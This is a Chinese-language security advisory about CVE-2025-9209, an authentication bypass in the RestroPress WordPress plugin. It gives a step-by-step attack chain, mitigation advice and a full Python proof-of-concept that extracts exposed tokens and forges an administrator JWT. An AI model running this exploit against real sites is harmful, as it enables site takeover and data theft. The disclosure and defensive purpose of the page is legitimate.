IPBUF安全漏洞报告
English
CVE-2025-9209 CVSS 9.8 严重

CVE-2025-9209 WordPress RestroPress插件认证绕过漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-9209
漏洞类型
认证绕过(Authentication Bypass)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RestroPress – Online Food Ordering System(WordPress插件)

相关标签

认证绕过JWT伪造WordPressRestroPressREST API信息泄露权限提升CVSS 9.8严重漏洞未认证利用

漏洞概述

CVE-2025-9209是WordPress的RestroPress在线食品订购系统插件中存在的一个严重认证绕过漏洞,CVSS评分为9.8分,属于最高严重级别。该漏洞影响RestroPress插件3.0.0至3.1.9.2版本,由Wordfence安全团队的研究员发现并报告。

RestroPress是一款广泛使用的WordPress插件,主要用于餐饮行业构建在线订餐系统,允许餐厅管理菜单、订单、支付和配送等功能。由于其与用户账户、支付信息和个人数据的紧密关联,该插件在中小型餐饮企业中拥有大量用户群体。

该漏洞的根本原因在于插件通过WordPress的REST API端点/wp-json/wp/v2/users暴露了用户的私有令牌(private tokens)和API数据。这些敏感信息本应仅对认证用户或管理员可见,但由于插件的错误配置,任何未经认证的远程攻击者都可以通过简单的HTTP请求获取这些数据。攻击者获取到这些令牌后,可以利用它们伪造JWT(JSON Web Token)令牌,从而冒充任意用户身份登录,包括具有最高权限的管理员账户。

由于该漏洞无需认证即可利用,无需用户交互,且对机密性、完整性和可用性均产生高影响,因此被评定为严重级别。一旦被恶意利用,攻击者可以完全控制受影响的WordPress网站,包括篡改网站内容、安装恶意插件或后门、窃取用户数据、进行支付欺诈等。该漏洞已于2025年10月3日公开披露,建议所有使用受影响版本的用户立即更新插件。

技术细节

CVE-2025-9209是一个典型的认证绕过漏洞,其技术原理涉及WordPress REST API的权限控制缺陷和JWT令牌伪造。

漏洞原理:
WordPress的REST API默认提供/wp-json/wp/v2/users端点用于列出用户信息。在正常配置下,该端点应仅返回公开的用户数据(如用户名、显示名称等),而不应暴露敏感信息。然而,RestroPress插件在实现过程中,将用户的私有令牌(用于API认证的密钥)和其他敏感API数据注册到了用户对象的元数据中,并通过该REST API端点暴露出来。

具体而言,插件在注册用户元数据(user meta)时,未正确设置show_in_rest参数为false,或未对敏感字段进行适当的权限检查。这导致以下信息被未认证访问者获取:
1. 用户的JWT认证密钥或签名密钥
2. 用户的API令牌
3. 其他用于身份验证的敏感凭据

利用方式:
1. 攻击者首先向目标网站的REST API端点发送GET请求:GET /wp-json/wp/v2/users
2. 从返回的JSON响应中提取管理员用户(通常是ID为1的用户)的私有令牌和API密钥
3. 使用获取到的密钥,按照JWT规范(HS256算法)伪造一个新的JWT令牌,payload中设置目标用户的ID
4. 使用伪造的JWT令牌进行后续认证请求,WordPress将验证该令牌并授予攻击者相应用户的权限
5. 攻击者以管理员身份登录后,可执行任意管理操作,包括创建新管理员账户、安装恶意代码、修改网站内容等

该漏洞的利用过程简单直接,不需要特殊工具,仅使用curl或浏览器即可完成,这大大增加了被大规模利用的风险。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标网站是否安装了RestroPress插件(3.0.0至3.1.9.2版本),并确认WordPress REST API端点可访问。
STEP 2
步骤2:提取敏感令牌
攻击者向/wp-json/wp/v2/users端点发送未认证的GET请求,从返回的用户数据中提取管理员用户的私有令牌、API密钥和JWT签名密钥等敏感信息。
STEP 3
步骤3:伪造JWT令牌
使用提取到的密钥,按照JWT规范(HS256算法)伪造包含目标用户ID和管理员角色的JWT令牌。
STEP 4
步骤4:身份冒充
将伪造的JWT令牌放入Authorization头中,发送认证请求,WordPress验证通过后授予攻击者管理员权限。
STEP 5
步骤5:完全控制网站
攻击者以管理员身份登录后,可以执行任意操作:创建后门账户、安装恶意插件、窃取数据库中的用户信息和支付数据、篡改网站内容、植入Web Shell等。
STEP 6
步骤6:持久化与横向移动
攻击者在服务器上植入持久化后门,利用已获取的管理员凭据对关联服务进行横向移动,扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-9209 PoC - RestroPress Authentication Bypass # Exploits exposed user private tokens via WP REST API to forge JWT tokens import requests import jwt import json TARGET_URL = "http://target-wordpress-site.com" # Step 1: Query the WordPress REST API to enumerate users and extract sensitive tokens def extract_user_tokens(target_url): """Extract private tokens and API data from exposed WP REST API endpoint""" api_endpoint = f"{target_url}/wp-json/wp/v2/users" try: response = requests.get(api_endpoint, timeout=10) if response.status_code == 200: users = response.json() print(f"[+] Found {len(users)} user(s) exposed via REST API") for user in users: print(f"\n[+] User ID: {user.get('id')}") print(f" Name: {user.get('name')}") print(f" Slug: {user.get('slug')}") # RestroPress exposes sensitive meta fields in user object meta = user.get('meta', {}) if meta: print(f" Meta keys: {list(meta.keys())}") # Check for RestroPress-specific token fields for key, value in user.items(): if 'token' in key.lower() or 'secret' in key.lower() or 'key' in key.lower(): print(f" [!!!] Sensitive field '{key}': {value}") return users else: print(f"[-] Failed to access API. Status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None # Step 2: Forge JWT token using extracted secret def forge_jwt_token(user_data, secret_key): """Forge a JWT token to impersonate the target user""" payload = { "iss": TARGET_URL, "iat": 1696377600, "exp": 9999999999, "user_id": user_data.get('id'), "username": user_data.get('slug'), "email": user_data.get('email', ''), "roles": ["administrator"] # Forge admin role } # Sign JWT with extracted secret using HS256 token = jwt.encode(payload, secret_key, algorithm="HS256") print(f"[+] Forged JWT token: {token}") return token # Step 3: Use forged token to authenticate as admin def authenticate_with_token(target_url, token): """Authenticate to WordPress using the forged JWT token""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Verify authentication by accessing admin endpoint admin_endpoint = f"{target_url}/wp-json/wp/v2/users/me" response = requests.get(admin_endpoint, headers=headers, timeout=10) if response.status_code == 200: user_info = response.json() print(f"[+] SUCCESS! Authenticated as: {user_info.get('name')}") print(f" Roles: {user_info.get('roles', [])}") return True else: print(f"[-] Authentication failed. Status: {response.status_code}") return False # Main exploit execution if __name__ == "__main__": print("[*] CVE-2025-9209 - RestroPress Authentication Bypass PoC") print("[*] WARNING: For authorized security testing only!\n") # Extract user tokens users = extract_user_tokens(TARGET_URL) if users: # Target the first user (usually admin with ID=1) target_user = users[0] # Extract the secret key (field name may vary based on plugin version) secret_key = target_user.get('restropress_token', '') or \ target_user.get('meta', {}).get('restropress_token', '') or \ target_user.get('jwt_secret', '') if secret_key: # Forge and use JWT token forged_token = forge_jwt_token(target_user, secret_key) authenticate_with_token(TARGET_URL, forged_token) else: print("[-] Could not extract secret key from user data")

影响范围

RestroPress >= 3.0.0
RestroPress < 3.1.9.2

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过修改WordPress主题的functions.php文件或使用代码片段插件,禁用wp-json/wp/v2/users端点的公开访问;2)在服务器层面(.htaccess或Nginx配置)添加规则限制对/wp-json/wp/v2/users端点的访问,仅允许特定IP地址访问;3)使用安全插件临时屏蔽未认证用户对REST API的访问;4)密切监控网站日志,及时发现并阻止可疑的认证绕过尝试;5)轮换所有用户密码,特别是管理员账户密码,以使攻击者已获取的令牌失效。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表